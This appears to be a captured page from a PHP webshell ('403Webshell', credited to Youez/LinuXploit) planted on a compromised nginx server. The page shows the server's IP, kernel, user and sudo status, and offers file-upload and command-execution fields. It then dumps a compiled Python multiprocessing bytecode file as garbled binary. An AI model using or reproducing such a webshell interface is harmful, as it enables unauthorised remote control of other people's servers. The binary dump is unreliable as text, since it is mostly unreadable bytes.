403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/self/root/usr/lib/python3.14/multiprocessing/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/usr/lib/python3.14/multiprocessing/__pycache__/heap.cpython-314.pyc
+
��3jj-���^RIt^RIHt^RIt^RIt^RIt^RIt^RIt^RIH	t	H
t
^RIHtR.t
]PR8Xd^RIt!RR]4tM$!R	R]4tR
tRt]	P(!]]4!RR
]4t!RR]4tR#)�N)�defaultdict)�	reduction�assert_spawning)�util�
BufferWrapper�win32c�Xa�]tRt^toRt]P!4tRtRt	Rt
RtVtR#)�Arenaz<
A shared memory area backed by anonymous memory (Windows).
c��Wn\^d4FxpR\P!4\	VP
43,p\P!RWR7p\P!4^8XdMVP4Kz	\R4hW0nW@nVPVP3Vn
R#)�dz	pym-%d-%s��tagnamezCannot find name for new mmapN���)�size�range�os�getpid�next�_rand�mmap�_winapi�GetLastError�close�FileExistsError�name�buffer�_state)�selfr�ir�bufs&&   �+/usr/lib/python3.14/multiprocessing/heap.py�__init__�Arena.__init__&s����I��3�Z��"�b�i�i�k�4��
�
�3C�%D�D���i�i��D�7���'�'�)�Q�.���	�	��
 �&�&E�F�F��I��K��9�9�d�i�i�0�D�K�c�0�\V4VP#�N)rr)rs&r!�__getstate__�Arena.__getstate__5s���D�!��;�;�r$c��V;wVnVnVn\P!RVPVPR7VnR#)�r
Nr)rrrrr)r�states&&r!�__setstate__�Arena.__setstate__9s3��16�6� �D�I�t�y�4�;��)�)�B��	�	�4�9�9�E�D�Kr$)rrrrN)
�__name__�
__module__�__qualname__�__firstlineno__�__doc__�tempfile�_RandomNameSequencerr"r'r,�__static_attributes__�__classdictcell__��
__classdict__s@r!r
r
s0����	��,�,�.��
	1�	�	F�	Fr$r
c�ba�]tRt^CtoRt]PR8XdR.tM.tRRltRt	Rt
VtR#)	r
z:
A shared memory area backed by a temporary file (POSIX).
�linuxz/dev/shmc���WnW nVR8Xd�\P!R\P
!4,VP
V4R7wVnp\P!V4\P!V\PVP34\P!VPV4\P!VPVP4Vn
R#)r*zpym-%d-)�prefix�dirNr)r�fdr3�mkstemprr�_choose_dir�unlinkr�Finalizer�	ftruncaterr)rrr>rs&&& r!r"r#Ms����I��G��R�x�!)� 0� 0�%�b�i�i�k�1��)�)�$�/�!1�
�����	�	�$���
�
�d�B�H�H�t�w�w�j�9����T�W�W�d�+��)�)�D�G�G�T�Y�Y�7�D�Kr$c���VPF?p\P!V4pVPVP,V8�gK=Vu#	\
P!4#r&)�_dir_candidatesr�statvfs�f_bavail�f_frsizer�get_temp_dir)rr�d�sts&&  r!r@�Arena._choose_dir[sL���)�)���Z�Z��]���;�;����,��4��H�*��$�$�&�&r$)rr>rN)r)r.r/r0r1r2�sys�platformrEr"r@r5r6r7s@r!r
r
Cs3����	��<�<�7�"�)�l�O� �O�	8�	'�	'r$c��VPR8Xd\R4h\VP\P
!VP433#)r*zDArena is unpicklable because forking was enabled when it was createdr)r>�
ValueError�
rebuild_arenarr�DupFd)�as&r!�reduce_arenarTdsC���4�4�2�:��G�H�
H��q�v�v�y���q�t�t�'<�=�=�=r$c�4�\WP44#r&)r
�detach)r�dupfds&&r!rQrQjs���T�<�<�>�*�*r$c�a�]tRt^sto^tRtRt]P3Rlt	]
R4tRtRt
RtRtRtRtR	tR
tRtRtVtR
#)�Heapc��\P!4Vn\P!4VnWn.Vn/Vn/Vn	/Vn
\\4Vn
.Vn.Vn^Vn^VnR#)rN)rr�_lastpid�	threading�Lock�_lock�_size�_lengths�_len_to_seq�_start_to_block�_stop_to_blockr�set�_allocated_blocks�_arenas�_pending_free_blocks�
_n_mallocs�_n_frees)rrs&&r!r"�
Heap.__init__{sw���	�	���
��^�^�%��
��
���
���� "���!���"-�S�!1������%'��!������
r$c�4�V^,
pW,V(,#)r*�)�n�	alignment�masks&& r!�_roundup�
Heap._roundup�s���1�}����T�E�!�!r$c�V�VP\VPV4\P4pVPVP
8dV;P^,un\P!RV4\V4pVPPV4V^V3#)�z"allocating a new mmap of length %d)rp�maxr_r�PAGESIZE�_DOUBLE_ARENA_SIZE_UNTILr�infor
rf�append)rr�length�arenas&&  r!�
_new_arena�Heap._new_arena�sy�����s�4�:�:�t�4�d�m�m�D���:�:��5�5�5��J�J�!�O�J��	�	�6��?��f�
�������E�"��q�&�!�!r$c��VPpW P8dR#VPPV4pV'dQhVPV^3VP
W3VPPV4VPV,pVPV^V34V'g+VPVVPPV4R#R#r&)
r�_DISCARD_FREE_SPACE_LARGER_THANre�poprbrcrf�removerar`)rrzry�blocks�seqs&&   r!�_discard_arena�Heap._discard_arena�s��������8�8�8���'�'�+�+�E�2����z�� � �%���,������0������E�"����v�&���
�
�E�1�f�%�&��� � ��(��M�M� � ��(�r$c��\P!VPV4pV\VP48XdVP	V4#VPV,pVP
V,pVP
4pV'gVP
VVPVVwrgpVPWg3VPWh3V#r&)	�bisect�bisect_leftr`�lenr{rarrbrc)	rrrryr��blockrz�start�stops	&&       r!�_malloc�Heap._malloc�s������t�}�}�d�3����D�M�M�"�"��?�?�4�(�(��]�]�1�%�F��"�"�6�*�C��G�G�I�E���$�$�V�,�d�m�m�A�.>�$���t�� � �%��0�����
�.��r$c��Vwr#pVPW#3,pVPV4wr6VPW$3,pVPV4wrdW#V3pWC,
pVPV,PV4WPW#3&WPW$3&R# \dL�i;i \dLmi;i \d5T.TPT&\P!TPT4L�i;ir&)	rc�_absorb�KeyErrorrbrarxr��insortr`)	rr�rzr�r��
prev_block�_�
next_blockrys	&&       r!�_add_free_block�Heap._add_free_block�s
��$���t�	0��,�,�e�^�<�J��|�|�J�/�H�E�	/��-�-�u�m�<�J��l�l�:�.�G�A��t�$�����	1����V�$�+�+�E�2�
05���e�^�,�-2���U�M�*��-�	��	���	��	���	1�(-�w�D���V�$��M�M�$�-�-��0�	1�s4�B%�B6�#"C�%B3�2B3�6C�C�<D�Dc��Vwr#pVPW#3VPW$3WC,
pVPV,pVPV4V'g)VPVVPPV4W43#r&)rbrcrar�r`)rr�rzr�r�ryr�s&&     r!r��Heap._absorb�sz��$���t�� � �%��0�����
�.�������v�&���
�
�5���� � ��(��M�M� � ��(��{�r$c��Vwr#pVPV,pVPW434V'gVPV4R#R#r&)rer�r�)rr�rzr�r�r�s&&    r!�_remove_allocated_block�Heap._remove_allocated_block�s@��"���d��'�'��.���
�
�u�m�$������&�r$c��VPP4pTPT4TP	T4K@ \dR#i;i)TN)rgr�
IndexErrorr�r��rr�s& r!�_free_pending_blocks�Heap._free_pending_blockssP���
��1�1�5�5�7��
� � ��'��(�(��/���
��
�s�A�A�Ac�D�\P!4VP8wd9\RP	\P!4VP44hVP
P
R4'gVPPV4R#V;P^,
un	VP4VPV4VPV4VP
P4R# TP
P4i;i)z$My pid ({0:n}) is not last pid {1:n}FN)rrr[rP�formatr^�acquirergrxrir�r�r��releaser�s&&r!�free�	Heap.frees����9�9�;�$�-�-�'��6�=�=��I�I�K��
�
�/�0�
0��z�z�!�!�%�(�(�
�%�%�,�,�U�3�
%��
�
��"�
��)�)�+��$�$�U�+��,�,�U�3��
�
�"�"�$���
�
�"�"�$�s
�AD�Dc���V^8d\RPV44h\PV8:d\	RPV44h\
P!4VP8wdVP4VP;_uu_4V;P^,
un
VP4VP\V^4VP4pVPV4wr#pW1,pWT8dVP!W%V34VP"V,P%W534W#V3uuRRR4# +'giR#;i)r�Size {0:n} out of range�Size {0:n} too largeN)rPr�rM�maxsize�
OverflowErrorrrr[r"r^rhr�rprt�
_alignmentr�r�re�add)rrrzr�r��	real_stops&&    r!�malloc�Heap.malloc(s���!�8��6�=�=�d�C�D�D��;�;�$��� 6� =� =�d� C�D�D�
�9�9�;�$�-�-�'��M�M�O�
�Z�Z�Z��O�O�q� �O��%�%�'��=�=��T�1��t���?�D�#'�<�<��#5� �U�4���I����$�$�e��%=�>��"�"�5�)�-�-�u�.@�A��)�,��Z�Z�Z�s
�B+E�E 	)rerfr[rar`r^rirhrgr_rbrcNi@)r.r/r0r1r�r~rvrrur"�staticmethodrpr{r�r�r�r�r�r�r�r�r5r6r7s@r!rYrYssj�����J�&3�#�,�� �M�M��:�"��"�

"�)�$�"3�<
�'�0�%�8-�-r$rYc�:a�]tRtRto]!4tRtRtRtVt	R#)riBc�X�V^8d\RPV44h\PV8:d\	RPV44h\
PPV4pW!3Vn\P!V\
PPV3R7R#)rr�r�)�argsN)rPr�rMr�r�r�_heapr�rrrBr�)rrr�s&& r!r"�BufferWrapper.__init__Fs����!�8��6�=�=�d�C�D�D��;�;�$��� 6� =� =�d� C�D�D��#�#�*�*�4�0���m����
�
�d�M�/�/�4�4�E�8�Dr$c�`�VPwwrr4\VP4W"V,#r&)r�
memoryviewr)rrzr�r�rs&    r!�create_memoryview�BufferWrapper.create_memoryviewOs+��%)�[�[�"���t��%�,�,�'��D�j�9�9r$)rN)
r.r/r0r1rYr�r"r�r5r6r7s@r!rrBs�����F�E�E�:�:r$)r��collectionsrrrrMr3r\�contextrr�r�__all__rNr�objectr
rTrQ�registerrYrrlr$r!�<module>r�s����#��	�
���/���
���<�<�7���F��F�H'��'�B>�+����u�l�+�I-�6�I-�^:�F�:r$

Youez - 2016 - github.com/yon3zu
LinuXploit